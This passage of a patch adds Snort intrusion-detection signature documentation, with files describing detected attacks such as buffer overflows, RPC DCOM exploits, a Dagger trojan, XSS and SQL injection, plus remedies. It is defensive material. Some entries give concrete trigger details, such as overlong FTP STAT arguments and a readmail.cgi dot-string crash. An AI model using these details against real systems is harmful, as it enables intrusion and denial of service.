+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000125.txt
+++ snort-2.7.0/doc/signatures/100000125.txt
@@ -0,0 +1,61 @@
+Rule: 
+
+--
+Sid: 
+100000125
+
+-- 
+Summary: 
+This event is generated when an attempt is made to overflow a buffer in the 
+SafeNet Sentinel License Manager.
+
+-- 
+
+Impact: 
+The affected server will be crashed, and remote code execution with system 
+privileges is possible.
+
+--
+Detailed Information:
+If the SafeNet Sentinel License Manager recieves a packet containing over 1,000 
+bytes, a buffer will be overflowed. If properly crafted data is sent, arbitrary 
+code may be executed with system privileges.
+
+--
+Affected Systems:
+SafeNet Sentinel License Manager 7.2.0.2
+
+--
+
+Attack Scenarios: 
+A script must be used to exploit this vulnerability.
+
+-- 
+
+Ease of Attack: 
+Simple, as an attack is included as part of the Metasploit vulnerability 
+testing framework.
+
+-- 
+
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action: 
+Upgrade to version 8.0 of the affected software.
+
+--
+Contributors: 
+Judy Novak <judy.novak@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2095.txt
+++ snort-2.7.0/doc/signatures/2095.txt
@@ -0,0 +1,87 @@
+Rule:
+
+--
+Sid:
+2095
+
+--
+Summary:
+vulnerability in the rpc service for the Calendar Manager Service Daemon
+(CMSD) used by XDR.
+
+--
+Impact:
+System compromise, denial of service, execution of arbitrary code, 
+information disclosure.
+
+--
+Detailed Information:
+A vulnerability exists in various implementations of external data 
+representation (XDR) libraries. An integer overflow in a component 
+(xdr_array) used by XDR can lead to a buffer overflow.
+
+The XDR libraries are widely used by multiple vendors to provide a 
+framework for data transmission across networks. This is most commonly 
+used in RPC implementations.
+
+A specially crafted rpc request containing a large number of arguments 
+to xdr_array can lead to remote system compromise and super user access 
+to the target host. Additionally, a denial of service and execution of 
+arbitrary code with the privilege of the super user is also possible 
+depending on the platform used.
+
+--
+Affected Systems:
+Multiple verndors including all those using:
+	Sun Microsystems Network Services Library (libnsl)
+	GNU C library with sunrpc (glibc)
+	BSD-derived libraries with XDR/RPC routines (libc)
+
+--
+Attack Scenarios:
+The attacker needs to send a specially crafted rpc request containing a 
+large number of arguments for xdr_array to the target host.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Upgrade the vendor libraries to the latest non-affected versions. Any 
+statically linked binaries and applications must be recompiled and 
+restarted after the upgrade.
+
+Disallow all RPC requests from external sources and use a firewall to 
+block access to RPC ports from outside the LAN.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/5356
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0391
+
+CERT:
+http://www.cert.org/advisories/CA-2002-25.html
+http://www.kb.cert.org/vuls/id/192995
+
+--
--- snort-2.7.0.orig/doc/signatures/2231.txt
+++ snort-2.7.0/doc/signatures/2231.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+2231
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer 
+overflow in Trend Micro InterScan eManager.
+
+--
+Impact:
+Serious. Remote administrative access is possible.
+
+--
+Detailed Information:
+Versions of Trend Micro InterScan eManager suffer from a buffer overflow
+condition that can present an attacker with the opportunity to execute 
+arbitrary code of their choosing which could lead to remote access to 
+the server.
+
+--
+Affected Systems:
+	Trend Micro InterScan eManager 3.51
+
+--
+Attack Scenarios:
+If the buffer overflow condition is met, the attacker can run code of 
+their choosing on the affected host.
+
+--
+Ease of Attack:
+Moderate.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Disable the web interface
+
+Enable NTLM authentication for the administrative interface
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/3327
+
+--
--- snort-2.7.0.orig/doc/signatures/3361.txt
+++ snort-2.7.0/doc/signatures/3361.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3361
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/505.txt
+++ snort-2.7.0/doc/signatures/505.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+SID:
+505
+
+--
+Summary:
+This event is generated when an attempt is made to login to a Timbuktu server using an unencrypted link.
+
+--
+Impact:
+Serious. Unauthorized access to the server.
+
+--
+Detailed information:
+Looks at the initial hex code of a Timbuktu client login and captures the login and password  combination. 
+
+This is a poor security practice over the open internet and on untrusted network links. This is a  Timbuktu login going over plaintext to the Timbuktu server.
+
+That means that anyone sniffing the wire can now use the login and password used to gain access to  the Timbuktu server.
+
+--
+Affected Systems:
+	Windows all versions
+	Mac OS 7.5.3 and later
+
+--
+Attack Scenario:
+An attacker can use a sniffer to gain the user login credentials and use the information to gain unauthorized access to the machine.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+Timbuktu may use a port other than 1417 
+
+--
+Corrective Action:
+Use Timbuktu over encrypted links or only on local LANs
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Jake Babbin 
+
+--
+References: 
+
+Arachnids:
+arachnids 229 
+
+--
--- snort-2.7.0.orig/doc/signatures/2216.txt
+++ snort-2.7.0/doc/signatures/2216.txt
@@ -0,0 +1,56 @@
+Rule:  
+
+--
+Sid:
+2216
+
+--
+Summary:
+This event is generated when an attempt is made to access readmail.cgi on an internal web server. This may indicate an attempt to exploit a buffer overflow vulnerability in Ipswitch IMail 7.04 and earlier.
+
+--
+Impact:
+Denial of service.
+
+--
+Detailed Information:
+Ipswitch IMail is a mail server that supports multiple mail protocols. Its web mail implementation contains a vulnerability in readmail.cgi where, if a mailbox name with more than 248 dot characters (.) is requested, the server will crash. It has also been reported that this is caused by a buffer overflow error that may allow an attacker to execute arbitrary code, but this has not been confirmed.
+
+--
+Affected Systems:
+Mail servers running Ipswitch Imail 7.04 and earlier with web mail enabled.
+
+--
+Attack Scenarios:
+An attacker sends an HTTP request to readmail.cgi for a mailbox with more than 248 dot characters in the mailbox name parameter. The mail server will crash and must be restarted.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+If a legitimate remote user accesses readmail.cgi, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to a newer version or apply the vendor-supplied hotfix available at ftp://ftp.ipswitch.com/Ipswitch/Product_Support/IMail/imail704.exe.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+-- 
+Additional References:
+Bugtraq
+http://www.securityfocus.com/bid/3427
+
+--
--- snort-2.7.0.orig/doc/signatures/416.txt
+++ snort-2.7.0/doc/signatures/416.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+
+Sid:
+416
+
+--
+
+Summary:
+This event is generated when a network host generates an ICMP Information Reply datagram with an undefined ICMP Code.
+
+--
+
+Impact:
+ICMP Information Reply datagrams contain the network number of the network segment the datagram was generated on.  This could be an indication of an improperly configured host attempting to locate the network number of the subnet it is located in.
+
+Undefined ICMP Code values should never been seen on the network.  This could be an indication of nefarious activity on the network.
+
+--
+
+Detailed Information:
+This message is generated in response to an ICMP Information Request Message.  Hosts that generated ICMP Information Request Messages are attempting to obtain the network number of subnet it is on.  In normal situations the ICMP Code should be set to 0, values other than 0 are undefined and should never be used.
+
+--
+
+Attack Scenarios:
+None known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+ICMP Type 16 datagrams are not normal network activity.  Hosts generating ICMP Information Request messages or Information Reply Messages should be checked for configuration errors.
+
+--
+
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.7.0.orig/doc/signatures/624.txt
+++ snort-2.7.0/doc/signatures/624.txt
@@ -0,0 +1,64 @@
+Rule:
+--
+Sid:
+624
+
+--
+Summary:
+A tcp packet with it's SYN and FIN flags set was detected.
+
+--
+Impact:
+Information regarding firewall rulesets, open/closed ports, ACLs, and
+possibly even OS type is possible.  This technique can also be used to
+bypass certain firewalls or traffic filtering/shaping devices.
+
+--
+Detailed Information:
+A tcp packet with it's SYN and FIN flags set was detected.  Most
+stacks will respond with an ACK SYN indicating that the port was open,
+whereas a closed port will illicit an ACK RST.  
+
+--
+Affected Systems:
+ 
+--
+Attack Scenarios:
+As part of information gathering leading up to another (more directed)
+attack, an attacker may attempt to figure out what ports are
+open/closed on a remote machine.
+
+--
+Ease of Attack:
+Intermediate.  To initiate an attack of this type, an attacker either
+needs a tool that can send packets with the SYN and FIN flags set or
+the ability to craft their own packets.  The former is easy, the later
+requires a more advanced skillset.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Determine if this particular port would have responded as being open
+or closed.  If open, watch for more attacks on this particular service
+or from the remote machine that sent the packet.  If closed, simply
+watch for more traffic from this host.
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Jon Hart <warchild@spoofed.org>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1526.txt
+++ snort-2.7.0/doc/signatures/1526.txt
@@ -0,0 +1,58 @@
+Rule:  
+
+--
+Sid:
+1526
+
+--
+Summary:
+This event is generated when an attempt is made to access the file sendmail.inc on a webserver running Basilix webmail.
+
+--
+Impact:
+Medium - Password disclosure: Depending if the attacker can use this login credentials to authenticate directly to a mysql database. Many Sun Cobalt Linux servers use Basilix webmail
+
+--
+Detailed Information:
+A webserver usually sends files in the webroot to an anonymous user without further processing. PHP scripts often include files (which contains configuration variables / functions etc.) that are not stored using a suffix that prevents the webserver sending them in clear text. ".inc" and ".class" suffix are not a handled by CGI properly and the file "sendmail.inc" is sent to the attacker. /inc/mysql.class can also be accessed and this would lead to a mysql user/password disclosure.
+
+Basilix is a webmail PHP script. Features are nice but it has some vulnerabilities (old versions).
+
+An attacker can access sendmail.inc file to obtain MySQL login and use it for further attacks.
+
+--
+Attack Scenarios:
+An attacker gets mysql.class containing database login credentials. If the webserver is shared by multiple users, the attacker which is also user for instance, can connect to the database server using the login provided by mysql.class file and modify the database. Often the password doesn't differ from FTP login, HTTP user authentication, etc. because the authentication is centralised by the OS.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+Sendmail.inc file doesn't exist or is handled by CGI which results probably in no output when an attacker tries to access the file.
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Update Basilix script (www.basilix.org)
+
+Check files which contain php code for a suffix that is handled by the webserver CGI, else the webserver sends this file plaintext to an attacker
+
+Workaround: register .inc and .class in the same way .php or .php3  .php4 are registered.
+Note: .class is used by java applets usually
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Additional Snort documentation contributed by unknown
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2361.txt
+++ snort-2.7.0/doc/signatures/2361.txt
@@ -0,0 +1,63 @@
+Rule:  
+
+--
+Sid:
+2361
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the PHP web application YaBB SE.
+
+--
+Impact:
+Execution of arbitrary code on the affected system
+
+--
+Detailed Information:
+YaBB SE contains a flaw such that it may be possible for an attacker
+to include code of their choosing by manipulating the variable template
+in the script news.php when making a GET or POST  request  to a 
+vulnerable system.
+
+It may be possible for an attacker to execute that code with the
+privileges of the user running the webserver, usually root.
+
+--
+Affected Systems:
+	YaBB SE YaBB SE 0.8
+	YaBB SE YaBB SE 1.4.1
+	YaBB SE YaBB SE 1.5 .0
+
+--
+Attack Scenarios:
+An attacker can make a request to an affected script and define their
+own path to the template variable.
+
+--
+Ease of Attack:
+Simple. No exploit software required. Exploit code exists.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1379.txt
+++ snort-2.7.0/doc/signatures/1379.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+1379
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer 
+overflow vulnerability associated with IPSWITCH WS_FTP server for 
+Windows hosts.
+
+--
+Impact:
+Remote administrator access.  A successful attack can allow remote 
+execution of arbitrary commands with privileges of administrator.
+
+--
+Detailed Information:
+A buffer overflow exists in WS_FTP server that may permit the execution 
+of arbitrary commands with the privileges of administrator.  The exploit
+can be generated by FTP client sending a STAT command accompanied by an 
+argument greater than 479 bytes long.  This exploit requires login 
+access to the FTP server.
+
+--
+Affected Systems:
+Hosts running WS_FTP server 2.0.3.
+
+--
+Attack Scenarios:
+An attacker may login to a vulnerable WS_FTP server and supply an overly
+long file argument to cause a buffer overflow, allowing execution of 
+arbitrary commands with the privileges of administrator.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com> 
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Security Focus:
+http://www.securityfocus.com/advisories/3641
+
+--
--- snort-2.7.0.orig/doc/signatures/289.txt
+++ snort-2.7.0/doc/signatures/289.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+289
+
+--
+Summary:
+This event is generated when a remote attacker attempts to exploit a 
+QUALCOMM Qpopper POP3 buffer overflow vulnerability in SCO OpenServer 
+systems.
+
+--
+Impact:
+Remote execution of arbitrary code leading to remote root compromise.
+
+--
+Detailed Information:
+An exploit is available that takes advantage of a buffer overflow 
+vulnerability in QUALCOMM Qpopper POP3 mail server version 2.53 or 
+earlier. This exploit can be used to obtain root access to the 
+compromised server.
+
+--
+Affected Systems:
+SCO servers that ship QUALCOMM Qpopper POP3 server version 2.53 or 
+earlier:
+ -SCO OpenServer Enterprise System Release 5.0.5, 5.0.6, 5.0.6a
+ -SCO OpenServer Host System Release 5.0.5, 5.0.6, 5.0.6a
+ -SCO OpenServer Desktop System Release 5.0.5, 5.0.6, 5.0.6a
+ -SCO OpenServer Enterprise System Release 5.0.4
+ -SCO OpenServer Host System Release 5.0.4
+ -SCO OpenServer Desktop System Release 5.0.4
+
+--
+Attack Scenarios:
+An attacker executes exploit code against a vulnerable server and 
+obtains root privileges on the compromised computer.
+
+--
+Ease of Attack:
+Simple. An exploit exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade QUALCOMM Qpopper. See ftp://stage.caldera.com/pub/security/openserver/CSSA-2001-SCO.8/ for patched binaries for SCO OpenServer and an advisory with installation instructions.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+CERT
+http://www.cert.org/advisories/CA-1998-08.html
+
+--
--- snort-2.7.0.orig/doc/signatures/105.txt
+++ snort-2.7.0/doc/signatures/105.txt
@@ -0,0 +1,107 @@
+Rule:
+
+--
+Sid:
+105
+
+--
+Summary:
+Dagger is a Trojan Horse.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a 
+compromise of all resources the machine is connected to. This Trojan 
+also has the ability to delete data, steal passwords and disable the 
+machine.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+	Windows NT
+	Windows 2000
+	Windows XP
+
+No other systems are affected. This is a windows exceutable that makes 
+changes to the system registry, Win.ini and System.ini. When first 
+executed the Trojan replicates itself and in most cases, gives the copy 
+a random name. This Trojan may use the file extensions ".exe" or ".dll".
+
+The Trojan changes system startup files and registry settings to add the
+server to programs normally started on boot.
+
+	SID	Message
+	---	-------
+	104	Dagger_1.4.0_client_connect (incoming TCP connection)
+	105	Dagger_1.4.0 (outgoing TCP connection)
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This 
+event is indicative of an existing infection being activated. Initial 
+compromise can be in the form of a Win32 installation program that may 
+use the extension ".jpg" or ".bmp" when delivered via e-mail for 
+example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised. 
+Updated virus definition files are essential in detecting this Trojan.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+This is a particularly difficult Trojan to remove and should only be 
+attempted by an experienced Windows Administrator.
+
+Edit the system registry to remove the extra keys or restore a 
+previously known good copy of the registry.
+
+Affected registry keys are:
+
+	[HKEY_CLASSES_USER\Software\Microsoft\Windows\CurrentVersion\RunServices]
+	[HKEY_CLASSES_USER\Software\Microsoft\Windows\CurrentVersion\Run] 
+	[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
+
+Registry keys added are:
+
+	"SysManager"="C:\\WINDOWS\\System\\Manager.exe"
+
+Removal of the file Manager.exe is required. Also end the process 
+Manager.exe.
+
+A machine reboot may be required to clear the existing process from 
+running in memory.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS484
+
+TLSecurity
+http://www.tlsecurity.net/backdoor/Dagger.1.4.html (link appears to be 
+inactive)
+
+Dark-e
+http://www.dark-e.com/archive/trojans/dagger/140/index.shtml
+
+--
--- snort-2.7.0.orig/doc/signatures/3298.txt
+++ snort-2.7.0/doc/signatures/3298.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3298
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2565.txt
+++ snort-2.7.0/doc/signatures/2565.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+2565
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a PHP web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a PHP application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the PHP application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running PHP applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000556.txt
+++ snort-2.7.0/doc/signatures/100000556.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+100000556
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "VebiMiau" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "sid" parameter in the "error.php" script used 
+by the "VebiMiau" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using VebiMiau
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.7.0.orig/doc/signatures/969.txt
+++ snort-2.7.0/doc/signatures/969.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+969
+
+--
+Summary:
+This event is generated when an attempt is made to request a file by the HTTP LOCK method.
+
+--
+Impact:
+Denial of service.  Repeated successful attempts can consume all CPU resources subsequently crashing the victim server. 
+
+--
+Detailed Information:
+The WebDAV (Web Distributed Authoring and Versioning) component of Microsoft's Internet Information Services (IIS) provides extensions to the HTTP protocol allowing users to edit and manage files on the remote web server.  A specially crafted request processed by WebDAV can consume CPU resources on the web server host causing it to crash.
+
+--
+Affected Systems:
+Windows 2000 systems running IIS 5.0.
+
+--
+Attack Scenarios:
+An attacker can craft an HTTP request processed by WebDAV that exhausts CPU resources and causes the system to crash. 
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Consider using the IIS Lockdown Tool to disable WebDAV if it is not necessary.
+
+Download and install the appropriate patch mentioned in the Microsoft bulletin.
+
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/2736
+
+Microsoft
+http://www.microsoft.com/technet/security/bulletin/ms01-016.asp
+
+--
--- snort-2.7.0.orig/doc/signatures/2272.txt
+++ snort-2.7.0/doc/signatures/2272.txt
@@ -0,0 +1,62 @@
+Rule:  
+
+--
+Sid:
+2272
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Coreutils LS.
+
+--
+Impact:
+Denial of Service, possible arbitrary code execution.
+
+--
+Detailed Information:
+The Coreutils ls command contains an integer overflow vulnerability
+which may present an attacker with an exploitation opportunity in
+software that uses this command. By supplying a large amount of data to
+the ls command in the form of the width variable, an attacker may cause
+a DoS to occur. It may also be possible to execute arbitrary code as the
+application becomes unstable.
+
+--
+Affected Systems:
+	Coreutils LS
+
+--
+Attack Scenarios:
+The attacker needs to supply a large amount of data in the width
+variable to the ls command.
+
+--
+Ease of Attack:
+Simple. No exploit software required although automated scripts do exist.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/100000840.txt
+++ snort-2.7.0/doc/signatures/100000840.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000840
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "FlatNuke" application running on a webserver. Access to the file "index.php" using a remote file being passed as the "mod" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "mod" parameter in the "index.php" script used by the "FlatNuke" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using FlatNuke
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/100000863.txt
+++ snort-2.7.0/doc/signatures/100000863.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection 
+vulnerability in the "PHPMyRing" application running on a webserver. Access to 
+the file "view_com.php" with SQL commands being passed as the "idsite" 
+parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
